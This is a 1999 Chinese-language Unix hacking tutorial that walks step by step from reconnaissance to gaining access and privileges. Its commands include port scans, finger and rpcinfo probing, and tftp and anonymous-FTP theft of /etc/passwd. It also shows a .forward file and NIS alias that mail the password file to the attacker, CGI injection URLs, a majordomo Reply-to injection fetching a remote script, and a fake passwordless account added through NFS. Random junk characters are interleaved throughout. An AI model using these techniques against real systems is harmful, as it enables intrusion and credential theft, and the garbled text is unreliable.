1999-5 北京
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[摘要] 入侵一個(gè)系統(tǒng)有很多步驟，階段性很強(qiáng)的“工作”，其最終的目標(biāo)是獲得超級(jí)用戶權(quán)限——對(duì)目標(biāo)系統(tǒng)的絕對(duì)控制。從對(duì)該系統(tǒng)一無所知開始，我們利用其提供的各種網(wǎng)絡(luò)服務(wù)收集關(guān)于它的信息，這些信息暴露出系統(tǒng)的安全脆弱性或潛在入口；然后我們利用這些網(wǎng)絡(luò)服務(wù)固有的或配置上的漏洞，試圖從目標(biāo)系統(tǒng)上取回重要信息（如口令文件）、或在上面執(zhí)行命令，通過這些辦法，我們有可能在該系統(tǒng)上獲得一個(gè)普通的shell接口；接下來，我們?cè)倮媚繕?biāo)系統(tǒng)本地的操作系統(tǒng)或應(yīng)用程序的漏洞試圖提升我們?cè)谠撓到y(tǒng)上的權(quán)限，攫取超級(jí)用戶控制；適當(dāng)?shù)纳坪蠊ぷ靼[藏身份、消除痕跡、安置特洛伊木馬和留后門?！?br />
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(零)、確定目標(biāo)5 w# \& E- r2 f. g
" a- C" l, { P. J1) 目標(biāo)明確--那就不用廢話了0 ?% q/ y6 N( C% Z2 R9 ^: t! F y
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2) 抓網(wǎng)：從一個(gè)有很多鏈接的WWW站點(diǎn)開始，順藤摸瓜；
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3) 區(qū)段搜索：如用samsa開發(fā)的mping(multi-ping);' u) T' K9 b8 O9 O2 n
( ?+ k; l: n8 R+ z* b6 \2 J4) 到網(wǎng)上去找站點(diǎn)列表；. t) U1 Y9 M) x$ ~) t
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(一)、 白手起家（情報(bào)搜集）+ ~) A+ I4 N/ V* q; F; ^
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從一無所知開始：8 v; ^2 t0 ]. o5 Z; y" Y
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1) tcp_scan，udp_scan
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' ~6 H7 E* Q# n. U( y, P# tcp_scan numen 1-65535
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7:echo:
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5 C' Q) y' b/ d2 U) F7 J7:echo:- u- S1 [5 C% g! H. y# ]' C0 G
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9:discard:
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5 R' Z: B9 b% n) _: @' ]# ]; |' _13:daytime:
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19:chargen:
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0 X$ m, a1 \' B6 S Q! N( E \, O21:ftp:3 P. ^. x/ m6 a* j% ]4 @' d
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23:telnet:! a- D: G& \3 G
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25:smtp:2 |4 x0 g0 b% h' k. @
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37:time:- N- z- |: W# h. m. P% u+ k- d+ a
: U: X' c- R1 ]' o79:finger
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111:sunrpc:% t( _4 q+ ]' C4 }1 w
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512:exec:0 w( E- Q, r* E
# W/ ?5 s$ R* j9 J2 J513:login:
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514:shell:. E/ j# q2 Z% r, }) K( C
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515:printer:0 @: m1 {/ ^9 [
+ Q% f* _+ r' }4 u, i4 t" ?2 }540:uucp:
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2049:nfsd: \8 @" i5 I0 S" O- [" E ~
: U( V7 A) F# q/ \4 `+ r7 l( l' I4045:lockd:4 z" y/ g7 D k7 s [
+ R, \. N& C; E% U$ ]( P5 w, A
6000:xwindow:
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6112:dtspc:
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7100:fs:
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# udp_scan numen 1-65535; _$ @5 a% q. S9 R; t4 |
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7:echo:
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7:echo:
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; e3 b* m/ {8 K9:discard:
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- j& D- H5 {- K13:daytime:. g: w' A, P- d3 [$ x
+ A2 y7 S1 Y$ _# Q) b% R19:chargen:
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37:time:
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) |: k/ d0 ~2 Z& o+ \7 N1 ]- c* k42:name: f' o( S4 G! u1 d* ?
% I" ]2 n6 h: f! t6 q0 a69:tftp:
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* _7 F: b, F6 X( s; p8 G" H+ I3 t111:sunrpc:' w7 v! Y' l* X/ J8 a8 a( G1 T
1 J, T7 h; {* ^/ [0 @, [161:UNKNOWN:
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7 I" n0 S( `9 h5 ^! f9 y4 q177:UNKNOWN:- T8 }1 ^; s- Y1 Y
& N6 H" B# X" ^8 o: m) h...
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看什么:# e4 O4 e* a* R' ?! t- C
: x# d0 |3 P( E* K6 l3 T* M1.1)可疑服務(wù): finger,sunrpc,nfs,nis(yp),tftp,etc..- j7 ^; S2 o3 e' i7 @
7 D/ e' N6 j- T* f# J0 u1.2)系統(tǒng)入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)
& g# A- E- w/ n/ a0 {
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$ k1 ` ]; p, R K$ ]2) finger
# w, O# Q9 J# G- U1 d' ?) B
3 I: P# y$ w( t) Q# finger root@numen
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[numen]
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1 I& o% Q; s* n9 r/ A D% T" B4 M% n" SLogin Name TTY Idle When Where
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root Super-User console 1 Fri 10:03 :0
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- r/ Y1 x2 e1 I( t4 s4 Oroot Super-User pts/6 6 Fri 12:56 192.168.0.116, V0 }, H: f5 @; R- H( W
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root Super-User pts/7 Fri 10:11 zw, O8 g* ~0 S: E
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root Super-User pts/8 1 Fri 10:04 :0.02 E" `$ @% L2 r$ T0 g
7 ]2 @4 A6 ~1 t! P! @root Super-User pts/1 4 Fri 10:08 :0.0% Z# t5 v$ Y. E# m! v
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root Super-User pts/11 3:16 Fri 09:53 192.168.0.114. \9 `- j0 a& P: G& Y# ?* V
$ w; ]- J9 T4 D1 N, x/ q% Yroot Super-User pts/10 Fri 13:08 192.168.0.116
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- c+ F! W- u! f& Mroot Super-User pts/12 1 Fri 10:13 :0.0
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(samsa: root 這么多，不容易被發(fā)現(xiàn)哦~)
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# finger ylx@numen. \7 l! i4 K+ d) A
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[victim.com]5 L8 u& N: _( }0 H
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Login Name TTY Idle When Where
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* k$ C% r( T+ Qylx ??? pts/9 192.168.0.798 y& L5 R8 I0 d
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# finger @numen, t! `, Y9 N! y7 } l
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[numen]
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, N$ P8 M* G$ R! j" FLogin Name TTY Idle When Where
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root Super-User console 7 Fri 10:03 :0
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/ E$ N+ f* g4 Z+ Kroot Super-User pts/6 11 Fri 12:56 192.168.0.116
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, W5 I: x# }1 _8 M! ` G+ ?1 h- |root Super-User pts/7 Fri 10:11 zw& G: H ? ?3 e7 S; x1 p3 g
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root Super-User pts/11 3:21 Fri 09:53 192.16 numen:2 M; N% v3 w0 ]& U1 K# P9 J
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root Super-User pts/11 3:21 Fri 09:53 192.16 numen:
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' O v3 G& x# G: U# G! } qts/10 May 7 13:08 18 (192.168.0.116)( t6 G0 v6 b$ X( p
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4) showmount
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# showmount -ae numen
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! b! F3 w+ z8 L+ ~! g1 e# N4 Texport table of numen:
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2 C; e; A- ]+ O; q5 S6 `% s% Y/space/users/lpf sun9
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samsa:/space/users/lpf( q. @/ v& r# E+ g6 M5 b
% ~& R, A2 P: ksun9:/space/users/lpf
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(samsa:該機(jī)提供了那些共享目錄,誰共享了這些目錄[/etc/dfs/dfstab])- ~. I, C* R" ^
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5) rpcinfo
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/ f$ b3 P: v( k2 E, w) {# rpcinfo -p numen' n; y( M+ w. U8 c- ^1 k4 _/ a1 v# V
& Y" @7 X: o: Sprogram vers proto port service
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6 s& ~ g" y& O( z& l* _100000 4 tcp 111 rpcbind
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) ?1 p5 P; i1 [" ]) ]4 b100000 4 udp 111 rpcbind
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8 ^/ }- ^# i1 d( N3 e. R6 l100024 1 udp 32772 status9 r8 h/ Y, b% J# x; ?+ [
" w/ W: T# I, p) u3 O, g100024 1 tcp 32771 status# ?* T: Q$ z5 l. U( T, {4 G' a0 |, m
, @; J1 W: Q2 c% {6 s8 B' g100021 4 udp 4045 nlockmgr
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100001 2 udp 32778 rstatd& r w8 E9 n5 }" A* @8 A
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100083 1 tcp 32773 ttdbserver
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' q" H! J5 q+ s/ s% J6 g; ?. ^+ Q6 b100235 1 tcp 32775: R z2 T# Z9 I& K
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100021 2 tcp 4045 nlockmgr: ^, o# _1 m6 J7 `7 X; A
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100005 1 udp 32781 mountd
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7 l% i; a+ w; G4 c. `100005 1 tcp 32776 mountd/ Z @" }/ F }6 @3 e8 ^7 y2 Z& C
+ u) W& X3 O* G1 X100003 2 udp 2049 nfs6 o5 ^- e5 e+ v% _6 J# @
. X9 t, F$ c& a% f9 P* `" g100011 1 udp 32822 rquotad
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" r6 y# m8 [. ?# X/ {. o7 F100002 2 udp 32823 rusersd
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100002 3 tcp 33180 rusersd/ B2 ?- N r+ X/ K
' L5 c: d2 x" @1 d" E7 S8 t* L100012 1 udp 32824 sprayd
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100008 1 udp 32825 walld
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100068 2 udp 32829 cmsd
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{* b, r9 G# ]& q/ h1 R(samsa:[/etc/rpc]可惜沒開rexd,據(jù)說開了rexd就跟沒password一樣哦!
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$ Q4 i5 \0 ^( f不過有rstat,rusers,mount和nfs:-)! h! E. o* Z9 g6 I# P
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6) x-windows
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# DISPLAY=victim.com:0.0* l( l4 X8 X3 H! ? y4 B0 h
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# export DISPLAY
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# export DISPLAY. L) H; o% r' p. m# s: b1 d, K
% X/ H, u z7 e' G8 W# xhost
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5 c8 S3 v7 \3 J; O# M, haccess control disabled, clients can connect from any host0 n/ ]( ]# V2 h8 B5 s
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(samsa:great!!!)
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- H& m( V1 _0 f' a) A# xwininfo -root
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6 Z% l0 Z0 c; a' Fxwininfo: Window id: 0x25 (the root window) (has no name)
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Absolute upper-left X: 06 a0 R3 ]) {3 a7 ?& G: u5 M
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Absolute upper-left Y: 0
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# S& X; F' i+ w( b. N$ j% RRelative upper-left X: 0" P. |; Q( }" b5 y O
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Relative upper-left Y: 0
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0 z- m+ N. {, g; e/ P: SWidth: 1152) O, q) H0 o# V" E( x( K! n
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Height: 900) ^0 v0 u5 _; E M+ g, Q* X3 g+ Q
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Depth: 24
$ ?5 ]5 y* T6 @ ]6 }7 `
$ n- T9 o7 G' u& h- EVisual Class: TrueColor/ ~7 ~7 ~# |: i; v/ ~9 v3 f
/ Z$ S5 b$ G) f# J9 T UBorder width: 0
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9 }0 o1 H3 {( R+ _- d. T0 zClass: InputOutput
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; Q' B, O. p7 Z# eColormap: 0x21 (installed)0 S: X) a; p7 p: T" P
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Bit Gravity State: ForgetGravity# y9 U' V7 m. U( C6 a1 a& n8 L. R7 g
9 q" h) j0 d# r/ q$ C eWindow Gravity State: NorthWestGravity* R- p4 c$ _6 Q/ A4 v
9 V4 H: `0 _# m6 `6 g* mBacking Store State: NotUseful: P, E0 ^- X$ O. V, ^7 s, X
+ P, t" Z/ b! J- o* b) LSave Under State: no
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Map State: IsViewable
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Override Redirect State: no+ G- X" c# Y- B. Q) h
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Corners: +0+0 -0+0 -0-0 +0-0! ?/ Q A7 z, X r" z4 E: Q
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-geometry 1152x900+0+0
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, S/ L1 w/ \8 C8 X(samsa:can't be greater!!!!!!!!!!!)
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7) smtp9 L$ D! j! l2 t
* E& ^& Z2 X. P2 F# telnet numen smtp
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Trying 192.168.0.198...
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* o6 l! }2 P V1 RConnected to numen.- i, }' ~" R0 j+ H) h
7 x2 O% [: x3 E- R( f8 ZEscape character is '^]'.
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7 d a/ C ^9 ]1 \220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800 U2 q, n" W- V# F2 `0 Z
( N9 ?: D; y5 f+ |, C$ B) j(CST)
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expn root
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250 Super-User <">[email protected]>7 J! }( B. j( a; p/ K
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vrfy ylx
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- j5 ^1 G. U4 O250 <">[email protected]>
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expn ftp- k' c' f: y f O. S" c' I, Z( J
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expn ftp. {. U7 G/ }; S& \
: ~: R& u% n. f250 <">[email protected]>
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(samsa:ftp說明有匿名ftp)$ l3 e6 n5 T H0 s& ~( @
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(samsa:如果沒有finger和rusers，只好用這種方法一個(gè)個(gè)猜用戶名樂)) P; C5 P. S( }" v$ F; t
6 X1 k" L7 Q1 X6 wdebug; l- G0 [ H# t( t; v" d1 m
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500 Command unrecognized: "debug", a& O: v. e7 v7 V/ s" J
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wiz5 Q9 z% l% T4 l9 h9 M8 ?
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500 Command unrecognized: "wiz"
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(samsa:這些著名的漏洞現(xiàn)在哪兒還會(huì)有呢？:-(()8 F- Z3 M0 n, v R1 m# q% k
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8) 使用 scanner(***)! o' b: L7 d& I9 X# o' P
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# satan victim.com2 [; h! k4 ~$ _7 h5 P( \: O, S
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...; }: ]1 X( |2 Q4 l3 [8 x. E5 s9 d
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(samsa:satan 是圖形界面的,就沒法陳列了!!( g# M$ T5 w& w! s4 c* Y
$ O0 U5 ^, \/ ?8 P8 @列舉出 victim.com 的系統(tǒng)類型(e.g.SunOS 5.7),提供的服務(wù)(e.g.WWW)和存在的脆弱性)% V& T. f/ r* X# \- {6 {
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二、隔山打牛（遠(yuǎn)程攻擊）- M- O/ w# Y" h/ I0 q7 J: y( z, y/ T
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1) 隔空取物:取得passwd+ v- A1 I& {5 }$ H3 t" E% Z$ E
& c" t8 x/ J: q1.1) tftp$ s+ J( c3 Y( V( ^4 a% M9 [
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# tftp numen( P9 {. ~: _5 V, g& h) X
( j1 j B( `- t4 Stftp> get /etc/passwd, _1 }+ E1 y; m: J8 l. c1 M
6 {3 E# S. [! I; C7 nError code 2: Access violation
$ I+ i- R* g- b% m6 N$ g. h: p) D2 u3 i
tftp> get /etc/shadow
# H |# J/ Z W! Z. ?
# X3 J Q5 `- i% z5 k8 F. WError code 2: Access violation
) ^ U/ u r2 I8 x5 f o: t" `/ T
tftp> quit. K7 n F7 a8 W$ D' U
+ P* `- i; S# q1 K' v6 h7 V2 G: a% d
(samsa:一無所獲,但是...)
7 n( C1 c; Z' p) |. H( z' ]
" R/ z; }3 O$ K4 f9 `# tftp sun82 n" w/ |" @8 Q+ O
, y0 u# y+ E# F5 ^5 y$ ntftp> get /etc/passwd
; C! k, `( N+ @1 h7 u& p0 Z: c( Z- h8 m) |/ i+ v7 {8 p
Received 965 bytes in 0.1 seconds
( d( }6 O* m# C- Y+ _' ?; S$ V8 Q3 d7 w) @) H, r9 h5 e8 _) c
tftp> get /etc/shadow
: a! i" Q$ o* D, z
. m" S1 Z9 Q9 hError code 2: Access violation# s0 F9 ~4 W7 M3 L' w0 i4 q, L. \
$ l, f' t7 [7 u, x7 M
(samsa:成功了!!!;-)0 K. A4 G/ }& {4 z
: C: z1 k3 ]; T: u: b+ R
# cat passwd5 C) { r* m5 j1 D, G; Y
+ f! z: g3 \- v2 Uroot:x:0:0:Super-User:/:/bin/ksh4 a& l; J& J# {! O% m# W; Q
* {- Q9 c" S. N% Sdaemon:x:1:1::/:
4 B2 h2 _; S5 Q2 n0 U" t2 P/ _( w' Y5 g
bin:x:2:2::/usr/bin:
! H- O0 i Z/ p- D
3 u7 [" |3 a& m" \+ _sys:x:3:3::/:/bin/sh
' X0 ~$ R1 I& u, s5 L) b9 P
! g' Z* a) u% ?. ]3 {7 V8 } L' q) Tadm:x:4:4:Admin:/var/adm:( {% z7 ]; G# d( W. E
' h! m" }# ~5 R& dlp:x:71:8:Line Printer Admin:/usr/spool/lp:& }$ t0 [3 f4 P2 u$ b
( D% E; q! h) T3 N1 O E) N! zsmtp:x:0:0:Mail Daemon User:/:
6 h! u+ x. g4 l) C. \" F5 k" f4 d, k$ k- @* m
smtp:x:0:0:Mail Daemon User:/:
( ]* g: E V: k
: l" D- p! m g: n1 kuucp:x:5:5:uucp Admin:/usr/lib/uucp:% ?$ P) ?: C- M
5 |! C5 F- F3 ?+ j( rnuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
: T3 W8 {& ~/ E# k: g# p$ w$ `
. H' H6 F2 D$ S2 q8 @listen:x:37:4:Network Admin:/usr/net/nls:/ H& `0 o( r2 M( J8 V
: D$ |' T) H, G+ `- ^4 x
nobody:x:60001:60001:Nobody:/:% N4 I o( v, I4 \: H$ Q
) O: F; n; b% S# t& R+ b
noaccess:x:60002:60002:No Access User:/:
1 a6 a7 I, o8 y) y8 f' r" z% b3 P7 z: B
ylx:x:10007:10::/users/ylx:/bin/sh% _4 A+ |, F3 S: s6 q8 p0 k
/ r( p! o$ x) I5 f+ y' a1 b" w
wzhou:x:10020:10::/users/wzhou:/bin/sh
/ V- A. d7 ]* v& O! y0 B4 }! J9 h( q% t( w/ t. Q2 }
wzhang:x:10101:4:Walt Whiteman:/users/wzhang:/sbin/sh
: }1 G+ r/ T! I/ t6 v4 j+ _& m' z V9 K+ o, M% l- P
(samsa:可惜是shadow過了的:-/)$ f% ]0 j* {( u6 m( G9 A1 I. _+ _
7 A2 A* [5 E$ g3 X1.2) 匿名ftp" p- D3 N' c% O2 \* `0 o
v, l6 H) e4 L. v$ g4 @2 _1.2.1) 直接獲得
# A! s' `' ^2 ~4 ]/ o3 D3 s2 w" G3 m) t6 V3 n2 h0 E' @, R
# ftp sun8& C! a; f E4 R
, z: L; T8 Y+ E9 ]/ N d* HConnected to sun8.* J6 i- h3 j8 G3 i5 t9 K1 t4 H
6 E h- F6 }8 r. j1 M, S: z' O
220 sun8 FTP server (UNIX(r) System V Release 4.0) ready.& D" A: ~- N/ o' E; a
, E0 T2 ?+ X( d. W
Name (sun8:root): anonymous
9 o& L, O! O: u* A5 W y/ W( v( X( J
331 Guest login ok, send ident as password.% P3 g/ s5 a3 Y) [+ J- @
! U# q, \. A6 i* C) R( n0 c
Password:+ I( F. e1 z4 ~. {% P/ l, n& k
! H1 ?8 f Q+ m) v$ ~
(samsa:your e-mail address,當(dāng)然，是假的:->). H- k0 y- O$ ^5 |
m. A6 [, c; Y9 l
230 Guest login ok, access restrictions apply.
7 o! D6 Y2 L* e- D3 f% p1 H0 u1 l2 v( u0 t( w w
ftp> ls4 }( o6 V8 B: W' S2 O: b
+ z8 t- T8 f4 Y8 [
200 PORT command successful.
$ M" }' o& O# l! {/ Q b b ~ k, x) s2 ^
150 ASCII data connection for /bin/ls (192.168.0.198,34243) (0 bytes).
/ z: [+ p" L# e0 h
+ h: v) \ C, n1 i" P. c5 Wbin
' s z- |+ c: b! E; a
- r0 y' E7 k+ P/ |& mdev
" e- Q- G. ~9 D, k1 L! C( D7 Q' k9 M! _! w5 \+ U
etc
, { u. N/ U) a. c- k0 S& g, c% ?- z, y2 f8 @( s7 \" N8 {# R( v
incoming* w- g8 \( u: E3 V
- V7 }/ f& I+ ?; I6 Q
pub
+ K* @, D d1 @: O* A$ i& ]% _0 N) C1 Z1 g. X+ o
usr N8 t$ Z2 z: v; {$ U. ~/ ~$ ^1 p# T
- v6 W2 `1 R3 F" P
226 ASCII Transfer complete.
" N5 n" P6 Q2 L O( }# m. Y
6 z( g& P% l, E; c7 I0 ^ Q& g+ z35 bytes received in 0.85 seconds (0.04 Kbytes/s)
}7 h% c4 i" t( p, ^# n! {
3 M6 E# N( @: E1 e' J6 \ftp> cd etc
0 f! z/ N5 T; p& Y7 q1 B4 Z3 k$ Z$ ~6 z& ^, O( y& g, B+ v
250 CWD command successful.0 V# L1 o7 g2 r' I+ z5 z
* N E2 |5 C; l( W" Y# ]
ftp> ls
9 r9 K& f6 {4 a J! `% |3 J/ x9 J. P, f
200 PORT command successful.' q+ K0 v( t( u& y0 S
: g9 Z1 T. |- D; I0 v7 A150 ASCII data connection for /bin/ls (192.168.0.198,34244) (0 bytes).& f' d- y9 |& N9 J6 i/ t: H/ a
& U9 f; z# I2 }group
. F6 }. S' M9 s- u5 K3 c8 q9 f5 _/ n
passwd9 A& h4 l0 X8 N5 d: Z5 C
" j) U* J4 H3 i: O1 n226 ASCII Transfer complete.
( N1 C. m# p$ Q- ?. s1 _* d6 @. j
$ v0 {9 C$ l7 k: u! l15 bytes received in 0.083 seconds (0.18 Kbytes/s)( l& j" N w7 e# |
9 P2 M" f3 l- f& b; H- L$ f) W
15 bytes received in 0.083 seconds (0.18 Kbytes/s)) {. u$ C( w' D% Q( V# v& D, G
; I8 d" m# A' a# |$ ?$ Y
ftp> get passwd
. V5 B4 }# N h! [
+ n ^% F t% |8 H200 PORT command successful.
1 z$ F: b1 n/ h% ~1 H! _1 j0 e9 z% ] v$ s( F
150 ASCII data connection for passwd (192.168.0.198,34245) (223 bytes).% q% u7 k$ r9 k/ n v
! i5 o/ n& C1 }' {+ M* h& n226 ASCII Transfer complete.
+ j8 {7 K8 P5 ]5 y- d/ r$ t6 P. m# K3 E* ^/ F2 {8 Q
local: passwd remote: passwd2 Z# \0 N9 e8 `/ f' x4 [. [
1 z& c7 ]' u+ H$ _% q; E231 bytes received in 0.038 seconds (5.98 Kbytes/s)% d c' n) _+ \& \1 k
" S; n3 W9 |9 b% p2 Y
# cat passwd
; m8 B+ {% t* P0 C% {
4 T0 }% h' d+ ? H; l+ a, uroot:x:0:0:Super-User:/:/bin/ksh) F0 B- t- R( ~3 x0 [
0 F" w) ^" T2 z: Sdaemon:x:1:1::/:& u" x1 m7 {) x3 A, t6 u$ o. w# G
+ s( _4 a$ I: C1 a! }, pbin:x:2:2::/usr/bin:
- R7 k. g) Y% I$ Y1 X7 p% h& y O3 g# P3 ]
sys:x:3:3::/:/bin/sh
! U o( l; W5 d0 s L5 G
2 ~6 M; c& }& ^! f3 |adm:x:4:4:Admin:/var/adm:3 }. A' m. S9 C8 P
$ \) R6 R. |# Q5 k; I- Xuucp:x:5:5:uucp Admin:/usr/lib/uucp:
: G$ [9 R2 F9 w7 O8 ~; B) f, h/ d" a" k) D
nobody:x:60001:60001:Nobody:/:% Y$ ]6 u j; s- x4 I, {. G5 A
7 z( y0 O/ Y; m, e% R( Jftp:x:210:12::/export/ftp:/bin/false9 R( w. A. S: F( I- @' b
4 y" f0 H. e1 L1 T# b' c. l
(samsa:正常!把完整的 passwd 放在匿名ftp目錄下的笨蛋太少了)
: I+ c8 w% ^0 {8 i4 u% r% ?
* U# ^6 @4 C* E+ S# G1.2.2) ftp 主目錄可寫) g4 {) v, a2 p
. C8 j3 F7 J9 O( F* r+ F2 x' `# cat forward_sucker_file" Y9 o- ]" G8 p
! y3 h- ? X; y# s5 G- H"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail [email protected]"/ u ~* ?' ~" o% a& X' o, w
, b# G& b& M2 [# ftp victim.com1 s7 }: U/ J8 b4 @
+ v/ s" O7 I) t. D( YConnected to victim.com# x9 C! h- w- K$ m
9 H3 P# H2 J& e6 w! K+ r. L
220 victim FTP server ready.* ^8 y0 I# e4 {% t. h. C- {
8 D b/ R( }2 P/ R( B! nName (victim.com:zen): ftp. t5 D }# c) z# D i
- P6 {" M3 A! l; I. c( r1 x
331 Guest login ok, send ident as password.% V# B% F: L8 E; O: h
: l! [: K! r* z. n' Q* kPassword:[your e-mail address:forged]
% a' c1 Q+ Q8 x+ J' Z
! B8 f' P2 N3 u230 Guest login ok, access restrictions apply.# o" w0 ^3 I6 N! }9 T, w, o% f
, M- I2 a1 X) Fftp> put forward_sucker_file .forward9 z+ ~* m' W; s4 \/ G7 k
0 W( p( n1 K4 F+ L43 bytes sent in 0.0015 seconds (28 Kbytes/s)
! ^8 a! c+ @+ t4 w( S0 O' H7 K c! K% V4 o" _
ftp> quit3 [1 _0 S+ A/ {" @2 M/ o
' z, [# `. [# X. ]! [
# echo test | mail [email protected]6 v5 p8 I7 A: `) s$ D- [3 h
G8 E% Q# ?+ F% g4 `
(samsa:等著passwd文件隨郵件來到吧...)
# V: t1 Z- [0 E! d) Y; t% l$ D
1.3) WWW/ y6 y |% ?) X: l7 U
5 @/ _7 O5 K. W著名的cgi大bug
+ i; t1 ?% j- w- L: D! t) C$ Y+ e: j% r) F' h% w' J
1.3.1) phf
7 D2 f+ [/ P4 E% B$ t) v; n; W& g+ V. n: ?: U$ k9 [5 v' V
http://silly.com/cgi-bin/nph-test-cgi?*
4 ~& C) x6 M" `. _* F1 t i W2 A% S4 G0 e# B4 G
http://silly.com/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd5 {0 R2 l2 [: C- `+ X- X
' t `+ n7 d6 _# t ~
1.3.2) campus! N7 f: o" U, M1 `
6 }! A+ V' F; H+ Y V' s3 s9 V! rhttp://silly.edu/cgi-bin/campus?%0a/bin/cat%0a/etc/passwd
& f, V. @* i/ B& I( X1 B
6 D0 \+ |! `1 j$ p%0a/bin/cat%0a/etc/passwd
/ Y! T! d! n. S& W: u) h; B$ N% |- C. }
1.3.3) glimpse
- d( o, V" R2 S0 K: i
1 G* m% j2 R$ v+ t3 W+ Ahttp://silly.com/cgi-bin/aglimpse/80|IFS=5;CMD=5mail5me:@my.e-mail.: { d( B* f" p1 [ m
7 ], R6 Z* s$ r# H1 t: R8 [
addr
8 h$ x1 Y: k) ~: h: d9 B; F7 ]( }/ x H! D, Y+ E) o- T
(samsa:行太長,折了折,不要緊吧? ;-); b1 y3 ?- \7 G2 Y
% S/ M: C* W" _+ A Q
1.4) nfs
( x: f: s$ R" N2 ]( g
o9 ]) E, W# f1 M4 y1.4.1) 如果把/etc共享出來，就不必說了0 O. ^3 c( a4 _/ t7 a0 x/ i
( g( |' [) o+ E+ e6 k1.4.2) 如果某用戶的主目錄共享出來
X+ w# u6 I5 S. w& M2 i8 N1 }* M3 n0 M2 w$ P9 D: ^+ d
# showmount -e numen8 \' r" _! j; L4 S" k: Y& h
7 G! O8 c4 {: S I! t4 D
export list for numen:3 p- a6 r+ m! R" G2 _& ~3 r% |. X% N
& [- y1 o( v. ?, W. E3 f
/space/users/lpf sun9
. o' o% L# M+ ?+ i; K0 w- j4 u- S: e$ R
/space/users/zw (everyone)7 h* l3 X7 h& M' w3 T
" f/ T/ ~0 E8 ]6 j: w) s% D
# mount -F nfs numen:/space/users/zw /mnt
4 M8 A3 A6 ^0 a
6 c1 Q' \3 R# r# cd /mnt
( G7 a& Q6 g0 t1 T, i- {$ k
. J- i/ ?8 m+ w# ls -ld .% v% e, ]" \) f7 g- I8 R: x
. C% m6 P1 h- G- kdrwxr-xr-x 6 1005 staff 2560 1999 5月 11 .
5 z7 N- S* L9 v: x3 v3 t9 H) y3 `
) `) ^' ^6 a# L f0 e, G# echo zw:x:1005:1:temporary break-in account:/:/bin/sh >> /etc/passwd
" A. i& Y- }0 P2 Y
- z* [, p6 e8 i# echo zw::::::::: >> /etc/shadow& s" b& ^! E6 w4 R4 ^3 }, g& u- F
& }/ C8 h+ {7 U3 c
# su zw
- U/ O* m, d! {$ U4 q1 b
0 T) H, k N( C& H4 L* p6 f9 t$ cat >.forward) o3 {4 T% @9 H7 w" n1 Y$ J s# l
T" l: p/ G- t% `' W' F# j4 r8 `
$ cat >.forward, S8 y z9 B9 \4 E
: b: s3 o- N N8 r( d, q4 I7 p4 j
"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail [email protected]"
1 O7 {. o6 _7 P0 Y: ~3 n. R- C4 H) K- B- F/ }" N( Z5 D
^D
, X" m; ^5 h3 {5 _
: K7 \' q% ?3 G4 D8 R$ s5 }5 n/ O/ I# echo test | mail zw@numen
; C6 Q6 L) j8 s" S, j3 { L# a/ F; I
) q3 f( k. C3 d2 i' E% S(samsa:等著你的郵件吧....)# f. f0 m" I6 s
$ U2 Z/ t" H+ T! l0 e1.5) sniffer( p( e* X1 b) w8 K" X0 G2 H
$ M1 a4 S3 V5 l
利用ethernet的廣播性質(zhì)，偷聽網(wǎng)絡(luò)上經(jīng)過的IP包，從而獲得口令。6 C( r! J9 r) {* W
5 s% J7 N6 D! D* }
關(guān)于sniffer的原理和技術(shù)細(xì)節(jié)，見[samsa 1999].
7 D, V1 [- z1 V/ Z& b7 k; |) B* i+ _; _$ t/ G( i' I
(samsa:沒什么意思,有種``勝之不武''的感覺...)
( o$ b: S# X3 h; y8 Z
$ n4 s8 f7 f& Q1.6) NIS+ j/ t9 d$ g! f: G/ o; G3 r' g
/ N7 ~5 _4 D0 a& d1.6.1) 猜測(cè)域名，然后用ypcat(或?qū)τ贜IS+:niscat)可獲得passwd（甚至shadow）
?3 R; n& m7 R2 Q/ Y5 P) N" B% U, T% F- ], D
1.6.2) 若能控制NIS服務(wù)器，可創(chuàng)建郵件別名4 N! {' T) H( J! p
% Z9 P- H2 s9 @" c9 wnis-master # echo 'foo: "| mail [email protected] < /etc/passwd "' >> /etc/alias
; ~3 {5 n& G4 I- J* f) R3 _0 L/ A; k! e3 P2 p- p
s" R6 _# S r' j2 D; O5 v4 [
0 Z+ G: X$ A1 Dnis-master # cd /var/yp" Y. {1 W4 F; U9 N: Q$ w4 n
, S0 y6 a6 w U0 F+ ?/ Lnis-master # make aliases
2 t) L4 I' }* f! P1 t* s; a. d1 H! F1 o7 j( [% b
nis-master # echo test | mail -v [email protected]# k. d6 x/ C) ]. y/ U8 g5 B9 C
5 p* a n8 {; U, K5 s: v3 M7 S+ Y
# }# _ p2 ^! c; P& B4 R/ I" P/ x# L, B8 A$ a+ Q& b
1.7) e-mail9 R2 v, W) p6 T3 Q9 ?
9 x, }4 N! b, L: D5 d# r% h+ M# ve.g.利用majordomo(ver. 1.94.3)的漏洞' i. j1 @' Q+ I; ]( G0 ~1 X- c0 S
; p& d/ u4 i/ n0 d7 S) s
Reply-to: a~.`/usr/bin/rcp${IFS}[email protected]:script${IFS}/tmp
+ k! p# | p+ t- }; y; i0 ^
! m1 r4 _. k9 b% J/script;;source${IFS}/tmp/script`.q~a/ad=cucu/c=scapegoat\@his.e-mail/ v+ ?& S- k9 s5 B7 U+ @
* E: w9 r# c1 n% ~. x" m
- S8 D( ^0 H+ ^8 ]7 x c4 ]. W |2 _
, _5 p" ^. n/ @7 y
# cat script
% e5 s* U0 h5 J0 _4 l8 a8 T& B2 D1 @* w) B: y6 ]; y& @1 K' {; s! R% p
/bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail [email protected]/ r' }+ y g0 o4 C. s! P4 V' O9 [
) o/ O+ w6 n' _+ x, _+ b3 j#; A8 R% b2 n5 G2 t9 {; O
/ |; S$ v3 r& H3 \2 m
1.8) sendmail
1 F4 X' h8 Q# I$ e; ~0 X- q2 ~+ p4 x0 C- n# _& J, m2 S6 p& L
利用sendmail 5.55的漏洞:: a+ h$ x m4 u3 J! I
$ I! P! D7 `' M0 {) A1 v: o9 k# telnet victim.com 25
7 h0 G' N. I+ M8 F$ j% D2 D: s! U
# i4 @3 l- v0 X3 mTrying xxx.xxx.xxx.xxx... s3 \ i5 I* S- }# d6 i
, v1 N A, w. i8 {7 i( }Connected to victim.com
0 C4 z8 E! J1 r$ V7 _
